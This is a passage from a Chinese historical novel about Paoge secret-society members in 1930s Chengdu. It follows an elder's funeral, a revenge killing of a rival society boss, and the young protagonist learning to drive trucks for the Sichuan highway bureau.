他勤恳地练着黑老鸹教过的所有东西,他小心翼翼地度过黑老鸹还在的每一日,彷如孩童眷恋母亲的怀抱,他眷恋着黑老鸹给与过的关怀。
方结义见了,嘟哝着这弟娃比女娃子还会照顾人,当真是有情有义。
黑老鸹虽然思维不清晰,说话不清楚,却一直要坚持跟周立行讲话,方结义过来的话,也会拉着方结义一通嗯嗯啊啊。
其实大家都不怎么听得懂,但人人都装出一副听懂的样子回应着。
黑老鸹说的最多的是,大家听的也最清楚的,是“反清复明”和“抗日救国”。
他一会儿喊着“路权勿让洋人”,一会儿又重复“不要等贼寇杀进来,要杀出去!”,还有就是“袍哥敬天重地,讲情讲义,不能乱整……”
周立行不懂黑老鸹的担忧,他只是重复地点头,“好,好的,杀,杀!”
荷花开落,桂子飘香。
如是过了两个月左右,遭某一天的清晨,黑老鸹突然回光返照,神志清晰起来。
他看着自己周身清洁的样子,再看一直陪侍在身边的周立行,又哭又笑起来。
“好孩子,辛苦你了。”
气质愈发沉默的周立行没说话,眼泪哗哗地涌出。
他知道,这是时间到了。他一边向方小梅做手势,示意她快去找方结义,一边蹲下来,握住了黑老鸹冰凉的双手。
黑老鸹笑中带泪,他的双手已经没有知觉了,他知道,这是回光返照。
“天意弄人啊……我本是活够了的,等死呢,哪知道遇到这反日浪潮,我又想活了……”
“若我还是当年青壮时候,定是要参军去的……可是我老了,我拿不动大刀,骑不了烈马,没办法再上战场拼杀了……”
“立行,你转告结义,我死之后,为我办一场七天七夜的丧事,按袍哥舵把子去世的老规矩来。我会留下一份名单,请他务必送给我那些故旧。”
“灵堂中央,摆哥老会的牌子,天地会和洪门的摆两边。上面挂横幅只需两个字:抗日。”
“我床底下的那些钱,都给你以后娶媳妇儿。你喜欢什么样的,就娶什么样的。不过别人家的小老婆,还是不要去碰的好……”
“但要是真的到了,大家都豁出去命的那一天,你就带着她和钱跑吧!跑的远远的!我希望你好好活着,能子孙满堂。”
“告诉春妹儿,下辈子愿意的话,不当兄妹了,当夫妻行不?哈哈,要是不行,那还当兄妹,也要得……”
“就这些了。立行,感谢你。我给你算的命,就当放屁。我没有啥亲人了,死之后只保佑你一个,一定会护佑你平安到老的,你好好活,有妻有子,儿女双全……”
周立行一一记下,把黑老鸹口述的各堂口和人名都写下来,见黑老鸹还眼神开始涣散,他跪下,向黑老鸹磕了一个头。
“我给你磕头,一定送你入土为安。”周立行眼含热泪,恭恭敬敬地磕头,“黄泉路上,慢慢走。”
周立行磕完头,起身时,黑老鸹便没了呼吸。
此时方结义刚冲到门口,他撕心裂肺地大喊一声,跪下去痛哭起来。
*
没人会预料到,黑老鸹的葬礼,竟牵动了川渝一带多处老堂口。
虽然有好些堂口因争斗、失势、内讧、仇杀等原因消亡,但总有一些堂口虽然换了更年轻的舵把子,但依旧把老大爷供养着的。
这些老大爷们,也不是各个都能亲自前来,多数是派出自家子侄,或是看在方结义的面子上派出堂口里的精英,但仍旧有一些仗义的老江湖,让滑竿抬,也要亲自到场。
周围街坊四邻,以及其他茶馆堂
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口的人,听说忠义堂的老辈子是阻拦日本人逃走的时候,被日本人的车撞死的,纷纷以之为抗日志士,拿米拿肉载菜载酒,去为那老辈子操办丧事。
就连那跟忠义堂一直争斗的光耀堂,也还是派了冯争鸣代表堂口来上香。
那葬礼,说是办七天七夜,实则十多天后,任然有一些远在西康的堂口,都前来祭拜吊唁。
方结义按黑老鸹的遗言要求,开了整个堂口当灵堂,堂口里所有人都身着黑衣,头戴白麻布,腰系干谷草绳,为黑老鸹送葬。
周立行以干儿子的身份,做了孝子。
刘五嬢风尘仆仆地赶到,走到灵堂门口的时候踉跄了一下,被她身边的一儿一女扶住。
一向坚毅强硬的刘五嬢,在黑老鸹灵前一反常态地又哭又骂,坐地而嚎。
“你个狗东西,死就死了,还给老娘留锤子的遗言啊!”
“你又没开口问过我,你要是真的来提亲,我拖儿带女都跟你走……你个狗东西!狗东西!有本事就一辈子都别说出来啊!”
“锤子夫妻,我跟前头死的那个说好过下辈子了!你没得机会了,爬球得远点,下辈子我认都不想认识了!”
“哥啊,我的大哥……春妹儿的命是你救的啊……你早说,我替你去死嘛……”
刘五嬢声声泣血,哭得众人心中唏嘘。
谁都听的出来,她对他有情有义,可黑老鸹与刘五嬢,竟就这么错过了半生……
周立行没有让刘五嬢失态太久,他和刘五嬢的儿子一起半搀扶半强制性地将人抱起,刘五嬢抱着儿子哭了一阵,又拉着周立行的手边哭边问:
“他走的快不快?有没有受罪?走之前吃饱饭没有?”
周立行肿着眼睛,酸涩地回答,“走的很快,交代完事情,吐了一口长气就闭上眼了,不受罪。走之前吃了担担面,吃饱了的。”
刘五嬢抹干净眼泪,点头,被引着烧了香,又待了许久才离开。
祭嶂、挽联、花圈堆放成山,锣鼓、鞭炮、端公唱念全日,流水席大开,方结义的孩子们,能走路的全部跟着周立行一起哭灵守灵,连他那群小老婆都全部披麻戴孝地来烧了七天的纸钱。
一些前来的老袍哥,做老江湖打扮。他们颤颤巍巍,已经年迈无力,却依旧昂头挺胸,肩背包,手持竹,迈步灵前,双手持腰做两肋插刀式行礼,再凤凰四点头大礼,三生四死,敬江湖故人。
周立行按规矩回以游虎昌门礼,这些礼节,黑老鸹闲来无事的时候教过他,却没想过再一次看到和用到,是在这个时候。
端公道士们敲锣打鼓,歌唱着广成韵的曲调,仿佛在唱黑老鸹的一生:
幼年家贫走他想,父母缘薄兄弟帮!
天生豪情有志向,腥风血雨不怕闯!
奈何紧到嘛天不亮,一腔热血渐渐凉。
好与歹嘛难得想,东南西北无故乡,幸得有儿嘛帮烧香!
今日大哥西归去,四方兄弟聚此堂,八路神仙送归一,阎罗备好酒菜汤,一杯忘却前尘事,二杯来生再相望……”
所有吊唁的人,都看到了黑老鸹灵上哥老会、天地会、洪门的三牌,还有触目惊心的横——血红的字,抗日!
一群老袍哥潸然泪下,回忆起当年喋血荣光的岁月,再看如今家国依旧风雨飘摇。
纵有壮志,廉颇已老;长江前浪,只寄后浪。
一代人的江湖,从此落幕,新的血色浪潮,正在掀起。
32.成都
狮子龙灯送丧,沿街码头设香,忠义堂全体人员出动,方结义和周立行站在最前面,与堂口所有爷一起抬棺,浩浩荡荡,为黑老鸹撑起了双龙头大爷最后的荣光。
他们将黑老鸹送进坟地,入土为安,就像埋葬了一个时代中袍哥的传奇,无人得知他究竟经历过多少辉煌岁月,有过多少爱恨情仇。
轰轰烈烈的葬礼结束,轰轰烈烈的蓉城大川饭店事件也结束。
因活活打死两名日本人,大川饭店事件闹上了国际新闻,海外侨胞为四川人展现出的团结和勇气叫好,全国各地也扬眉吐气,各路报纸均在支持成都,上海人民及旅沪四川同乡会纷纷集会并致电成都当局,强烈抗议日本在成都强行设立领事馆。
日本的领事馆没有设的成,但他们并不愿意吃亏,强烈要求国民政府免职有关军警,赔偿日方死者遗属和伤者,枪毙当日大川饭店事件的领头人。
在此期间,重庆行营以治宽字第1640号训令里,要求四川省政府必须制定禁止哥老会的有效办法,四川省政府只好发布了《惩治哥老会缔盟结社暂行治罪条例》,条例中要求四川各县政府应将各地哥老会一律解散。
然而,各地县政府和当地的哥老会基本都相互交织,这项条例,除了让各大茶馆的人大骂某蒋,狗日的整不赢日本人只会收拾自己人,并没有起到什么作用。
袍哥们该干啥干啥,堂口该开还是开,全当条例是放屁。
一番拉扯后,到了12月时,四川省主席在国民政府的强压下,除开赔款外,以防范不严为名,撤销了成都警备司令蒋尚朴的职务,调离了省公安局局长范崇实。
至于枪毙首恶这种事情,刘湘不傻,他让属下从华阳县监狱中抓了两个本就罪大恶极判死刑的囚犯去枪毙,以此搪塞。
日本和国民政府都被他这无赖做派给气着了,却不能再说什么。
*
方结义开了堂会,把当初周立行摘日本人牌子、激战日本人的事情通报了出来。
经众人一致同意,周立行升了排位,从行十的营门小老幺,直升了行八纪纲,主掌执行刑罚,称呼从周幺哥变成了周八哥。
又因他跟方结义的关系,虽然他并没有做八排的领头人,大家依旧尊称这个小兄弟一声小八爷。
小八爷成了个锯嘴葫芦,三天不说一句话,拎包铁红棍子打人屁股凶得很,方结义说打谁就打谁。
邢五还是没有儿子,自打黑老鸹过世,便一天到晚的打量周立行,不知是打的什么主意。
周立行升了小八爷没多久,冯争鸣在一天晚上,独自一人去敲周立行家的房门。
黑老鸹走了,周立行让方家两姐妹回了去,没再请厨娘。石娃子和谷娃子两人怕周立行寂寞,两兄弟总有一个人要去周立行家住。
这晚上,是憨笨的石娃子在,他听着声音去开了房门,也没问冯争鸣是来干嘛,就把人带进去了。
等周立行出来一看,冯争鸣还带来一个女人。
石娃子去温水瓶倒水泡茶,周立行和冯争鸣四目相对,一个疑惑,一个压抑。
冯争鸣没说话,周立行也不说话,他不太懂怎么跟这种浑身都是爆炸点的大少爷打交道,只能装哑巴。
冯争鸣等了半天,都没等到周立行说一句场面话,心中鬼火冒,只得先开口,那话就说的很冲。
“你不是喜欢嫁过人的漂亮姐姐吗?我表姐,不需要彩礼,你娶了吧!”
周立行刚端着茶喝一口,闻言噗地喷了出来。
“冯争鸣,你失心疯了?”周立行一边擦身上的茶水,简直不可置信。
那女人,冯争鸣的表姐,有着一双和冯争鸣一样的斜飞入鬓的凌厉双眉,丹凤眼中透着倔强,长得确实不俗。
她听完冯争鸣的话,也不觉得冒犯,反倒是打蛇随棍上:
“我叫罗瑞鹤,我家破人亡,仇恨难消。小八爷,表弟没办法替我报仇,他说你若是愿意,必定办得到。若是你能替我报仇雪恨,我愿一辈子跟你!”
周立行连连摆手,“有事说事,不要跟我,我不需要别人跟我……”
冯争鸣的思维和常人不同,他嚣张地拍着桌子,“怎么!我表姐不比王喜雀好看吗?”
周立行气笑了,“这有什么可比较的,比喜雀姐漂亮的人多了,那跟我有什么关系?”
冯争鸣气结,嗖地站起来,想跟周立行比划。
罗瑞鹤赶紧一把拉住表弟,“莫要冲动!”
周立行也是双脚一蹬,连人带椅子往后退,喊着:“有事说事!不要动手!”
冯争鸣咬牙切齿地坐了回去。
罗瑞鹤这才将她的来意娓娓道来。
罗瑞鹤的母亲和冯争鸣的母亲是亲姐妹,自小关系亲密。当初冯争鸣的母亲被赶回家后才发现怀孕,一直是罗瑞鹤的母亲关心关照,送钱送粮,恳求父母照管,才让冯争鸣能平安诞生。
小时候的罗瑞鹤,也是经常关心表弟冯争鸣的,只有她不会嘲笑他,讽刺他,喊他是私娃子。
罗瑞鹤的父亲是一个普通的小学老师,家中不富不穷,勉强平安度日,哪怕只有她一个女儿,父亲也爱如珠宝,并未因此责难母亲。
有人提议过,让罗家把冯争鸣收来当儿子,罗父也没有同意。他对妻子和女儿的爱,曾经让冯争鸣羡慕不已。
然而这世道,好人未必有好报。
罗瑞鹤初中毕业,去读了专科护理,识得了一名袍哥,二人互许终身。
罗父罗母只求女儿平安幸福,对这袍哥没有什么要求,只想他金盆洗手,能开个铺子做个生意,安安稳稳地养家糊口。
哪知,这袍哥经手过堂口里的一些私密生意,堂口那边不愿放人,甚至希望罗家也能一并全部加入堂口。
这年头,巴蜀地区的袍哥堂口已然泛滥化,全川一半以上的男人都在嗨袍哥,各地区袍哥势力如同之前的军阀防区一般,划分的清清楚楚。
罗家并不在成都老城内,不属于女婿所在那个堂口的管辖。
纵然罗家人不愿意加对方的堂口,可这事却被本地堂口知道了,两个堂口因此生了矛盾。
罗瑞鹤同那袍哥成婚后,那袍哥最终鼓起勇气,硬是退出了,哪个堂口都不加。
原本以为事情到此便结束了……
结果,有一天,罗父罗母与女婿一同在新开的草药铺子整理药材时,一群在街上打群架的袍哥,冲入店内打砸,将罗家这三人都活活打死了。
“……这么明显的杀人灭口,光天化日之下行凶,警察局却只定了个卷入殴斗,不慎身亡……”
“最后,还一个凶手都找不到……”罗瑞鹤一边讲,手指头抓着桌角,用力到指尖泛出青白。
周立行沉默良久,问冯争鸣,“既是你的表姐,你们光耀堂怎么不管?”
冯争鸣僵着脸,不回答。
罗瑞鹤叹口气,半是嘲讽半是伤心,“亡夫曾在的光辉堂,同光耀堂关系甚密。表弟只提了这事,便被大爷责了十鞭子,呵斥不准再管。”
周立行瞥眼去看冯争鸣的后背,心想看不出来挨了打啊。
冯争鸣见周立行那眼神,心中怒火更甚,再次拍桌,“一句话,你到底管不管!”
周立行一言难尽,“争鸣,你若是求我办事,能不能说几句好话?”
“你!”冯争鸣又站了起来,开始撸袖子。
罗瑞鹤看不下去了,噗通一声跪倒地上,“求小八爷帮忙!我愿奉上所有家财,你要是看得上我,我这辈子给你做牛做马,只求能报父母和丈夫的仇!”
周立行吓得连人带椅子一起翻倒,石娃子赶紧地上前搀扶。
“八哥,没事吧……”石娃子将周立行扶起来,又去扶罗瑞鹤,并且嘀咕道,“这是血酬啊,八哥肯定不能自己接啊……这得堂口同意才行……”
冯争鸣闻言指着石娃子骂道,“废话,谁不知道该去找堂口!可方大爷能接吗?”
“我怎么就不能接?”
冯争鸣呆滞,
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转身看向屋外,方结义正倚在门口,好整以暇地玩着手里的核桃。
周立行没想到,半夜三更的,方结义竟然不敲门就翻墙进来,还守在门口停墙角,一点都不像是堂口舵把子能干出来的事。
方结义施施然地走进堂屋,自己找个主位坐下,招手让石娃子给自己泡茶。
“冯争鸣,你们光耀堂,不行。”方结义放下手里的核桃。
争强好胜的冯争鸣,此刻说不出一句反驳的话。
他曾经崇拜过自己的父亲冯显贵,觉得他弟兄成群,威风八面。然而这些年真的跟着冯显贵了,却渐渐发现他是个自私自利,欺软怕硬的人。
冯争鸣看不上这样的人,可他现在还小,实力不足,只能依靠他,才能勉强过上人上人的生活,不被辱骂欺辱,甚至可以欺压他人。
“罗瑞鹤,你想出血酬?”方结义不再关注冯争鸣,而是神色威严地看向了罗瑞鹤。
罗瑞鹤还跪在地上,闻言抬头,倔强的脸上写满狠绝。
“对!”
“你知道什么是真正的血酬吗?”方结义问道。
“争鸣讲过了。”罗瑞鹤轻轻笑起来,“所有的钱财,和自己的性命,一起交给堂口,可以换仇人的身家性命。”
方结义点点头,“我可以为你开堂,请关圣决定,是否接你的血酬。”
“若是抽签中了,你就得堂前自杀。我们会为你下葬到家人身边。”
“你家所有房产地契,金银财物,都归堂口。”
“我们会为你找到凶手,拉到你们一家四口的坟前三刀六洞,放干他们的血。”
罗瑞鹤的眼泪流了下来,她点着头,“好。谢谢大爷。”
周立行在一旁听得心惊,他正要开口,方结义抬起手,制止周立行。
方结义摸出一把匕首,弯腰递给罗瑞鹤。
“我不会轻易开堂,要是你在堂前退缩了,伤的可是我方结义的面子。”
方结义残酷地俯视罗瑞鹤,“你得给我表一表决心。”
罗瑞鹤笑了下,一句话未说,右手接过匕首,猛地刺入自己左手手掌,将自己的左手钉在了地上。
她痛的牙齿打颤,却迎着方结义的审视,说道:
“大爷,我不怕的。你信我。”
周立行一咬牙,挥手让石娃子去拿上药和绷带,同时上前扯出匕首丢掉,狠狠地按着伤口不让它迸血。
“……为什么非得罗瑞鹤要自杀!又不是她的错!”周立行多日以来,第一次凶了方结义。
方结义却不为所动,他拾起匕首,甩了甩血滴,严肃道:
“杀人偿命,买凶杀人亦然。若是不偿命,那岂不是有钱人可以随意买凶?”
“接血酬的袍哥,手里都沾着血债,早晚有一天也会被官府逮了毙掉。”
“我们堂口可以帮忙引荐血酬,但得守堂口的道义和规矩,否则只会引火烧身。”
周立行为难地看向罗瑞鹤,罗瑞鹤一脸期待复仇的平静,似乎觉得方结义说的天经地义,她就应该用命去换一个公平。
周立行又看向冯争鸣,冯争鸣满脸阴狠,回瞪周立行。
周立行一咬牙,质问冯争鸣,“你想你表姐死?!”
冯争鸣声音更大更凶,“报不了仇,我表姐一样会怄死!她那么刚烈的人,说不定自己拿着刀去找仇人了,一样要死!”
“反正都是死!还能有什么选!难不成你和我两个去帮她报仇吗!!!”
“好。”周立行深深呼一口气,他实在是看不下去冯争鸣这个拧巴样了。
“我们俩去,别出血酬开什么堂口了,让你表姐活。”
周立行上前从方结义手里夺过匕首,走向冯争鸣,径直将匕首递给对方,斩钉截铁地开口:
“先说清楚,我当过和尚,我不主动杀人。你姨妈的仇,你得自己动手,我帮忙,你动手。”
冯争鸣像一只突然被捏住脖子的鸡,戛然而止的吼声卡在了嗓子眼里。
33.成都
冯争鸣着实没想到,绕了一圈,这件事最终又回到了他的手里。
他心中暗暗燃烧着一股火,既窝囊又憋屈,那是从小温暖他长大的姨妈一家,是自己有一串糖葫芦都要分他一半的表姐。
那光辉堂杀人灭口,杀那男人便是,竟然将罗家父母也一并打死,他怎么忍得下这口恶气。
他现在是光耀堂的大少爷,是龙头舵把子的儿子,那又如何?堂口不是他的,那些排位上的兄弟也不是他的。
他可以狐假虎威,扇这个的耳光,打那个的鞭子,可当冯显贵的命令下来,那些平时对他唯唯诺诺讨好奉承的人,马上就能变了一副神色嘴脸,摁得他不能动弹,让冯显贵能一鞭一鞭地打到。
冯争鸣想着想着,竟是笑起来,他眉眼间戾气重,笑得跟要杀人一样。
“好,本就是我姨妈的仇,我来杀。”冯争鸣有些自嘲,“我听他的话,有什么意思。树活一张皮,人活一口气,我确实不如你,我怎么能让表姐去死……”
方结义坐在椅子上,他垂眸掩盖住自己的思考,最终说道,“我会派信得过的人,去查这件事,搞清楚谁主使,谁动手。”
“名单、地址我会准备好,剩下的事情,你们自己办。”方结义再看了罗瑞鹤一眼,“瑞鹤,他们无论能不能把仇报下来,你都得有个态度。他们希望你活着。”
黄瑞鹤向方结义磕了个头,她明白这是方大爷对她的仁慈,也是她今夜走了大运。否则,哪个堂口大爷会安排亲信去帮忙查凶,又默许周立行去帮她复仇。
“我的家财,一半给忠义堂,一半给小八爷。”黄瑞鹤拿了主意,“我不求那日所有人都死,我只要主谋死!”
“日后无论是表弟,还是方大爷和小八爷,你们任何时候需要用我,赴汤蹈火,在所不辞。我这条命,是你们的,你们让我活着,我就好好活。你们需要我去死的时候,说一声就行。”
方结义见黄瑞鹤神色坚定,心中也生出了赞许,“好,是个好女子!”
于是事情便这么定了下来,周立行人在家中坐,活路送上门,回头想起来也不知道自己是怎么回事,莫名其妙地就多了趟□□的委托。
然而黑老鸹不在了,周立行没了老前辈笑呵呵地打趣,他给黑老鸹的排位上了一炷香,平时在外面不爱说话的他,对着排位絮絮叨叨念了许久,念到那香燃到一半自个儿熄掉了。
周立行:“……”
看来黑老鸹可能嫌他话多。
*
方结义当了多年龙头大爷,自然有一批死心塌地的兄弟伙。
没过多久,他们便查出来了事情的起因和经过。
光辉堂和光耀堂,上一辈的舵把子是结拜的弟兄,不同于光耀堂这边父死子继,光辉堂是各位爷们升牌升上去的。
现在光辉堂的龙头大爷,是一名叫张名禄的中年男人,直从五爷升的大爷。
据说,升的时候腥风血雨,有传言说前一任大爷是被张名禄给杀了的,但只有传言,没有实据。
光耀堂老爷子在的时候,因此事跟光辉堂闹了不愉快,单方面的绝交了。
可等冯显贵当上了大爷,他跟张名禄却勾肩搭背起来。
主要是那鸦片生意,张名禄做的早做的好,背靠大树,生意做到上海滩,日进斗金。
冯显贵不认同老辈子那一套,虽然他也讲什么礼义仁智信,那是讲给下面兄弟伙些听的,他骨子里只认钱和权。
谁对他有利,他就认谁。比如冯争鸣算争气,能给他长脸,他就认这个野种私生子,家里其它儿子读书不行打架不行,他便可以一年半载看都不去看一眼。
罗瑞鹤的丈夫,便是张名禄堂口的袍哥,至于到底经受过什么秘密,这已经查不到了。
能查到的,弄死罗瑞鹤丈夫的命令,便是这张名禄亲口下的。他们假装是去找当地的袍哥切磋扯把子,实则就是专门为了趁乱打死那个敢不听话主动退堂的出头鸟。
当日打架的人,张名禄早安排去了其它地方避风头,他这个龙头老大当然提前查过,知道罗瑞鹤同冯争鸣的关系。
张名禄觉得这事好办,他给冯显贵送了十箱鸦片,还通融了一下二人合作开烟馆的事情,便得到冯显贵拍胸脯的保证。绝对不会让冯争鸣掺和这件事。
冯争鸣拿到了所有的情况,眸色幽幽,整个人都散发出一股阴森之气。
周立行不方便评判别人的家事,只能等冯争鸣自己缓过劲。
“要杀别人堂口的龙头老大?”周立行深感压力巨大,“这……”
冯争鸣冷哼一声,“怎么,当老大的不会死吗?又没让你拿拳头去打。”
周立行哦了一声,忍不住双手合掌,默念了佛经。
冯争鸣听得烦躁,忍不住上前去锤周立行的嘴:
“念锤子你念!”
“你开枪打那日本人的时候怎么不念!怕造杀孽,你下锤子的山!你就该去找个寺庙躲着,跟着黑老鸹跑什么江湖!”
周立行默默闭了嘴,隔了一会儿,还是不服气地回答:
“之前就是黑老鸹喊我去出家的!说让我待到三十岁……我没想下山,还不是被逼的……”
说完,气鼓鼓的周立行转身进屋,隔了一会儿,他把当初送给黑老鸹的那把手枪拿了出来。
“给你,黑老鸹的枪,只有三发子弹了。”周立行递给冯争鸣,“我再去找方大哥要点子弹。”
冯争鸣愣住,他拿着枪,嘴张了几下,最终没说话,揣着枪默默地走了。
接下来过了很久,周立行都没等到冯争鸣找他拿子弹,也没继续来跟他商量到底怎么去杀人。
直到某一天晚上,周立行突然心慌意乱,总觉得浑身不自在。
他决定遵循直觉,主动去找一找冯争鸣。
半夜三更,走到半路的时候,周立行调转方向,决定往光辉堂新开的烟馆那边去瞅一瞅。
结果等他到的时候,发展那烟馆浓烟滚滚,街道四周人来人往,大家都在忙着取水灭火。
没人关注到周立行悄悄摸过来,但周立行听到烟馆后巷里有打斗声。
他迅速往巷子里冲去,借着燃烧的火光,他看到一群人正围着一个蒙面的少年殴打,其中一人正要伸手去拉少年的面罩。
周立行心中一急,左右一看,捡起地上的砖头便砸了过去,正中那人的后脑勺。
那群人见
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有援手,立刻分出七八人,朝周立行袭来。万幸的是,并未有人带枪。
周立行深吸一口气,拔出匕首,不得不咬牙冲了上去!
都说双拳难敌四腿,周立行只能放下心中善念,尽量一招制敌,此番危急时刻,若是留手,怕是他和冯争鸣都会被抓住。
到时候冯争鸣活不了,他还会给方大哥惹麻烦!
生死边缘,人的爆发力特别大,冯争鸣那边压力减少,他捡到了一根地上的断棍,硬生生用尖锐的那一头戳穿了一人的腹腔,豁出命般度冲了出来。
周立行抓住冯争鸣便跑,两人身上都有血,迎着烧焦气味的风,在慌忙救火的人群中,搏命地奔跑。
后面的人追出来,一边追一边喊拦住他们!
那些救火的人,好些都是烟馆的人,今夜烟馆里死了堂口大爷,大家心神不定生怕被连累,此刻见堂口兄弟们喊着抓人,他们怎么也明白过来,不是凶手就是找到背锅的了!
于是一群人火也不救了,人也不救了,饿虎扑羊一般追逐而来。
眼见要被合围,周立行心跳速度到达了顶峰!
此时,一辆汽车从街道拐角冲了过来,凶狠地摁着喇叭,不光不顾横冲直撞,直接撞散了人群!
冯争鸣吐了一口血,推着周立行,拉开车门冲了上去。
*
萧瑟风冷,枯草结霜,如此往复,又是一年。
转眼间,冬去春来。
那夜的周立行,刚上汽车,便遭偷袭,直接被打晕过去。
等他醒来,人已经在家里床上睡着了。
方结义后来说,那一晚上开车来的人,疑似重庆那边某大官的子侄,当夜救了人,便连夜开车跑了。
反正查来查去也没有查到人,他们知情的,心猜多半是冯争鸣自己认识的,或许是同学,或许是友人。
周立行悄悄去找过冯争鸣,却见不到人,只知道被禁足关禁闭了,没得黄大爷的令,谁也不准见。
张名禄的死,最终没有查出个所以然。当夜的汽车,把大家的猜测都引向了另一个方向,众人都以为张名禄应该是得罪了什么大人物,才被灭的口。
于是,所有人都三缄其口,不再追究。
周立行见过那也汽车横冲直撞的样子,一辆车能撞开上百人的围堵。
加上黑老鸹是被车撞伤才衰败下去的,周立行连带着对车也有了几分仇恨,几份敬畏,几份惧怕。
越是惧怕的东西,越是要了解它,征服它,如果当年他对峨眉山的猴子。
于是周立行想要学开车!
一种发自内心的冲动,隐约间还有一些宿命感,让他知道,自己必须学会开车!
这似乎关系到他的性命。
然而,对于周立行来说,练枪容易,学车难。
练枪,好歹有方结义在,堂口有这方面的生意。
要学车……对普通人来说,无异于痴人说梦。
就算是有枪有人的袍哥堂口,也没听说哪个买车来供,顶多是需要摆排场的时候去租车行租用一番。
这个问题很难,可上天不负有心人,在周立行琢磨了好久之后,突然机会自己落到了手里。
34.成都
黑老鸹葬礼的时候,刘五嬢带着儿子刘愿平和女儿刘愿安前来,周立行与他们兄妹俩认识了。
刘愿安长得跟刘五嬢一个模样,是个英姿飒爽的武娘子,性格活泼豪爽,说话做事风风火火,五嬢准备让她接手茶馆生意。
刘愿平则是标准的书生范儿,他有着五嬢柔和的外表,戴着一副眼镜,为人随和,就读于国立交通大学上海本部,学的是公路建设,辅修道桥和渡河专业,一直是班里的佼佼者。
他成婚较早,妻子林玉翠就读于国立上海医学院,因怀孕生娃暂时休学在家。
刘愿平参加完葬礼后,留在了成都找工作。平时无事的时候,刘愿平经常会来找周立行喝茶聊天。
前不久,刘愿平遇了妻子的堂兄林玉道。林玉道早些年毕业于原四川省立工学院,就职于四川省公路局,见到刘愿平专业对口,又是亲戚,便立马逮住人,给引荐到四川公路局去了。
拿到四川公路局实习通知的刘愿平,还没得什么亲朋好友可以炫耀,便颠儿颠儿地来找周立行聊天了。
他吹嘘了一番自己这份工作有多么的棒,半年后若是不犯错,就能入职巴拉巴拉,描绘自己想要在四川大展宏图修路巴拉巴拉。
周立行这真是踏破铁鞋无觅处,得来全不费工夫,此刻简直双眼放光,他立即向刘愿平表达了他的愿望:想学开车。
刘愿平傻眼了,他只是想浅浅炫耀一下,没想到周立行异想天开!
于是他试图打消周立行的想法:
“现在的汽车都是进口的,进口车啊,那都是大轮船从国外远渡重洋到上海的港口,再分船沿着长江往上送,送到成都来,想哈那个价格能有多吓人!”
“普通人不吃不喝一两百年才能买一辆普通的轿车!现在能有汽车的非贵即富,政府机关也是给大领导用的。”
“司机都是专门学校培养出来的精英,要懂外语,看得懂国外的修理手册,能开车的同时要懂机械原理,得紧急情况下能自己修车。”
周立行才不管他,直接提要求:
“是你自己讲的,公路管理处创办相关技术人员的训练场所和驾驶速成班!我要去学开车!”
刘愿平苦不堪言,真想邦邦给自己两拳,恨自己乱炫耀惹麻烦。
“我没说完啊,招生章程规定学习者需要具备高小的文化程度,品德端正,身体强健,年龄在18-25岁,经过入学测试之后才能正式上课,上课时间一般是两个月。”
“我记得……你虽然认识一些字,但没有正经念过书……你没有毕业证!”
周立行皱眉,“这你不管,方大哥有办法。”
搞几张毕业证,应该问题不大。
“还有,报考费用也贵呢,即便是学会了,考了驾照,那驾照有效期只有一年,一年以后需得再次考试才能上路!”
“若是你想学这个技能以后谋生……怎么说呢,这个技能确实是好……”
刘愿平捉摸着,难道周立行是想脱离堂口自己生活了?
“是兄弟,就得帮我一把。你帮我这次忙,下次你有什么上刀山下火海的事,我都义不容辞。”
周立行不为所动,铁爪一般的手捏着刘愿平的胳膊肘,非常执着,他已经很久很久没有犯过这样的倔劲了。
刘愿平真的是一个头两个大,“哎呀,真的不好弄啊……”
周立行瞪着刘愿平,一脸你不帮我绝不会善罢甘休的架势。
刘愿平横竖都挣不脱,颇为苦恼,他脑瓜子一转,突然想到一个两全其美的绝妙主意。
“那不如这样,你回去问问方大爷,想不想跟四川公路局这边,啧,搞点往来。他若是以堂口的名义去运作,我这边再在公路局里通融一番,也许可以找个名头,把你安排去跟一跟货运。”
说完,他挤眉弄眼,手里做了个数钱的姿势,“你懂我的意思吧?”
周立行秒懂,这个刘愿平不愧是刘五嬢的儿子,平日里看着温文尔雅满身书呆子气,还以为不同人情世故,结果心眼子挺灵活!
周立行回去把这事儿跟方结义报告了一番,方结义颇为高兴。
毕竟方结义从云南往四川,走货的路线还是传统茶马古道和水运为主、这公路运输,可不是常人能够插进入的!
方结义也清楚,刘愿平这番相当于两头卖好,既向公路局这边推荐了卖命的打手,展示了他除了技术过硬外,还人脉颇多;同时也给方结义扩了财路,从高官政要手缝里漏出的些许利益,也够他一个堂口吃饱肚子了。
而方结义和周立行两人,因此都会欠他一份巨大的人情。
方结义认了这份人情,刘愿平却没有提什么要求,只说日后若是有需要,让周立行无条件帮他做一件事便可。
方结义便提前在堂口里,记了一份刘愿平的委托,执行人指名周立行,让堂口诸位爷作证,这算是公差。
于是没过多久,在刘愿平的引荐下,方结义跟公路局的人搭上了关系。
几番酒宴和礼物的交流之后,周立行也如愿以偿,和堂口另外几名精挑细选的弟兄们一起,到四川公路局里临时性地成为一名雇工,同时也兼任私下的保镖,跟着货运汽车走线路。
*
四川公路局自1935年从重庆迁到成都后,落在忠烈祠南街,将原各防区自建自治的马路更名为公路,防区自治的汽车运输改为全省“三统一”,统一管理、统一营业、统一登记发照。
在1937年初春的现在,正好是民营汽车企业发展的高峰。
能够做企业的自然都是背景深厚的人,他们有资源办民营汽车运营,自然也会需要一批人手做除了开车以外的其他事情,如各地存在的路匪、棒客、恶霸等。
这也是刘愿平能引荐袍哥组织去参与货车客运线的原因。
因有刘愿平的妻子林玉翠的关系,玉翠的堂哥林玉道主动表示,他可以带一带周立行。
不带不知道,一带吓一跳,林玉道发现了一块璞玉!
虽然周立行没有上过学,但他在计算上也颇有天赋,加之记忆力超群,刘愿平教他数学基础的时候,他进步非常快,九九乘法表听一遍就记下来,然后马上可以运用到实际中。
林玉道发现,周立行的空间感知、距离感知、重量感知都很强,两个一模一样的螺丝,他闭着眼睛用手掂量都能分辨出哪个被磨损过,被磨损过的要轻一些。
至于操作更是一学就会,只用了一天,周立行就能开着车勉勉强强地转弯和倒车了,属实是天赋惊人。
林玉道欣喜不已,甚至觉得这样的人才跟着袍哥混太可惜了,要是以后有机会,他定要想办法把这个兄弟留下来。
周立行就这么跟上了林玉道管理的车队,开始在四川公路局跟车学习。
几个月里,他不仅学会了驾驶货车,还用尽各种方式偷偷开过公路局的停放过的各类车辆,如:福特、雪佛兰、别克、林肯、凯迪拉克、奔驰等。
他最喜欢的是美国威利斯美式军用吉普。这些汽车来源各异、操作方法有不同、甚至驾驶座也有英式的右侧和美式的左侧。
